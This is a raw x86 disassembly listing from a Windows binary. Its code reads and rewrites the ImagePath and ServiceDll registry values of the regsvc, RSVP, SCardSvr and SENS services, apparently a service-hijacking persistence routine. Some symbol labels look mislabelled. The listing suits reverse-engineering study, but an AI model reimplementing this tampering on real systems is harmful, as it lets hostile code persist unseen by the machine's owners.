mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call edi
test eax, eax
jne 0x4d321f
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x3acc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x3acc]
push str._system32_regsvc.dll
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d3253
lea edx, [ebp - 0x3acc]
push str.System32_regsvc.dll
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d3253
push str._SystemRoot_System32_regsvc.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4d3265
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x24]
mov eax, 1
cmp ecx, eax
je 0x4d327a
cmp dword [ebp - 0x30], eax
jne 0x4d3464
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d3361
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4d3323
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x27cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x27cc]
push str._system32_svchost.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d3357
lea eax, [ebp - 0x27cc]
push str.System32_svchost.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d3357
push str._SystemRoot__system32_svchost.exe__k_regsvc
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d3464
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call edi
test eax, eax
jne 0x4d3426
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x3bcc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x3bcc]
push str._system32_regsvc.dll
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d345a
lea edx, [ebp - 0x3bcc]
push str.System32_regsvc.dll
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d345a
push str._SystemRoot_System32_regsvc.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x2c], 1
jne 0x4d3583
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d3583
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4d3526
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x28cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x28cc]
push str._system32_regsvc.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d3579
lea eax, [ebp - 0x28cc]
push str.System32_regsvc.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d3579
push str._SystemRoot__system32_regsvc.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4d3552
lea ecx, [ebp - 0x2b8]
push str.regsvc.exe
push ecx
lea edx, [ebp - 0x59cc]
push str._s_s
push edx
call fcn.004f175f
lea eax, [ebp - 0x59cc]
push eax
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.RSVP
call fcn.004fa6c0
push eax
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
mov eax, dword [ebp - 0x2c]
add esp, 0x10
cmp eax, 1
jne 0x4d36c3
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d36c3
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4d3666
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x3ccc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x3ccc]
push str._system32_rsvp.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d36b9
lea edx, [ebp - 0x3ccc]
push str.System32_rsvp.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d36b9
push str._SystemRoot__system32_rsvp.exe__s
call fcn.004fa6c0
add esp, 4
jmp 0x4d3692
lea eax, [ebp - 0x2b8]
push str.rsvp.exe__s
push eax
lea ecx, [ebp - 0x61cc]
push str._s_s
push ecx
call fcn.004f175f
lea edx, [ebp - 0x61cc]
push edx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x28], 1
jne 0x4d37e2
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d37e2
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4d3785
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x29cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x29cc]
push str._system32_rsvp.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d37d8
lea eax, [ebp - 0x29cc]
push str.System32_rsvp.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d37d8
push str._SystemRoot__system32_rsvp.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4d37b1
lea ecx, [ebp - 0x2b8]
push str.rsvp.exe
push ecx
lea edx, [ebp - 0x50cc]
push str._s_s
push edx
call fcn.004f175f
lea eax, [ebp - 0x50cc]
push eax
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.SCardSvr
call fcn.004fa6c0
mov esi, eax
lea eax, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
mov eax, dword [ebp - 0x24]
mov ebx, 1
add esp, 0x10
cmp eax, ebx
je 0x4d381d
cmp dword [ebp - 0x28], ebx
je 0x4d381d
cmp dword [ebp - 0x2c], ebx
jne 0x4d3937
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d3937
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4d38d5
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x3dcc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x3dcc]
push str._system32SCardSvr.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d392d
lea edx, [ebp - 0x3dcc]
push str.System32SCardSvr.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d392d
lea eax, [ebp - 0x2b8]
push str.SCardSvr.exe
push eax
lea ecx, [ebp - 0x514c]
push str._s_s
push ecx
call fcn.004f175f
lea edx, [ebp - 0x514c]
push edx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebx, 1
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x30], ebx
jne 0x4d3b34
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d3a2c
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4d39e9
push esi
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d3b34
cmp dword [ebp - 0x34], ebx
jne 0x4d3d27
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d3c24
push str.SENS
call fcn.004fa6c0
mov esi, eax
lea edx, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
add esp, 0x10
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d3e2f